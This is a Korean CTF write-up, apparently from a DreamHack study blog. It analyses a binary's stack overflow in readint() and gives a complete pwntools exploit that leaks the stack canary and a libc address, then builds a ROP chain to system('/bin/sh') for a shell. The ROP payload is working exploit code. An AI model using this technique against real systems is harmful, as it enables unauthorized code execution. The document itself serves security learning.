<시스템 해킹 공부용>
Flag 위치 파악

/home/pwn 에 flag 파일 존재
─# file prob
prob: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd01c6ba6bd49e095d939c0c6b30165c0d8b54d7, for GNU/Linux 3.2.0, not stripped
└─# checksec --file=prob
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 49 Symbols No 0 2prob
소스코드 분석
void run(void)
{
int iVar1;
long in_FS_OFFSET;
undefined1 local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
writeln("Mirin, It\'s the End of Period with Period.");
local_118[0] = 0x2e;
while( true ) {
while( true ) {
writeln("1: read.");
writeln("2: write.");
writeln("3: clear.");
write(1,&DAT_00102058,2);
iVar1 = readint();
if (iVar1 != 3) break;
cleara(local_118,0x100);
}
if (3 < iVar1) break;
if (iVar1 == 1) {
writeln("Read: .");
writeln(local_118);
}
else {
if (iVar1 != 2) break;
writeln("Write: .");
readln(local_118);
}
}
writeln("Invalid Command.");
writeln("Finally, Just Watch the Curtain Fall.");
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
위 run 함수의 writeln과 readln 함수는 local_118 각 . 이 나올때 까지 읽거나 쓰되, 버퍼 사이즈는 264바이트로 나와있지만,
cleara 함수에서 256 바이트만 초기화 하는 것으로 보아, 8바이트는 패딩 사이즈
int readint()
{
char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
readln((__int64)nptr);
return atoi(nptr);
}
__int64 __fastcall readln(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 255; ++i )
{
read(0, (void *)(i + a1), 1uLL);
result = *(unsigned __int8 *)(i + a1);
if ( (_BYTE)result == 46 )
break;
}
return result;
}
ssize_t __fastcall writeln(__int64 a1)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
write(1, (const void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 46 )
break;
}
return write(1, &unk_2008, 1uLL);
}
공격
해당 프로그램은 canary 가 있기 때문에 canary 를 우회 해야 되며, ROP 체인으로 쉘따기 수행
from pwn import *
context.arch = "amd64"
BINARY_PATH = "./prob"
//p = remote("host3.dreamhack.games", 12823)
p = process(BINARY_PATH)
원격 혹은 로컬 실행 옵션 작성
p.sendafter("> ", "2.")
p.sendafter(":", "A" * 0x100)
2번 입력 후 A 0x100 입력 패딩 위치 전까지.
p.sendafter("> ", "1.")
p.recvuntil("A" * 0x100)
p.recv(8) # padding
입력된 내용을 출력하고, canary 를 받기 위해 패딩 출력
canary = u64(p.recv(8))
p.recv(0x18) # 더미 padding
카나리 값 읽고, 리턴 어드레스 libc 주소 파악을 위해 더미 패딩
libc_leak = u64(p.recv(8))
libc_base = libc_leak - 0x29d90
offset 을 빼줘 libc_base 주소 확인
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = libc_base
rop = ROP(libc)
prdi = rop.rdi[0] # pop rdi; ret gadget 주소
ROP 가젯 준비
prdi 는 추후 bin/sh 인자 삽입을 위해 중요
payload = b"A" * 0x18 # 버퍼 padding readint() 버퍼 사이즈
payload += p64(canary) # canary
payload += p64(0x0) # old RBP 더미
payload += p64(prdi + 1) # stack align용 ret
payload += p64(prdi) # pop rdi; ret
payload += p64(next(libc.search(b"/bin/sh\x00"))) # "/bin/sh" 주소
payload += p64(libc.symbols["system"])
ROP Payload 구성
readint() 의 버퍼 오버 플로우를 사용한다.!
readinit()의 버퍼 사이즈는 24바이트인데, readint() 에서 호출하는 readln()의 버퍼사이즈는 264바이트
p.sendafter("> ", payload + b".")
p.interactive()
쉡 진입 수행
'Hacking > DreamHack' 카테고리의 다른 글
pharmacy (0) | 2025.05.04 |
---|---|
PTML (0) | 2025.05.04 |
Movie time table (WEB) (0) | 2025.04.01 |
r-xor-t (0) | 2024.09.05 |
[CodeEngn] Malware L08 (1) | 2024.09.04 |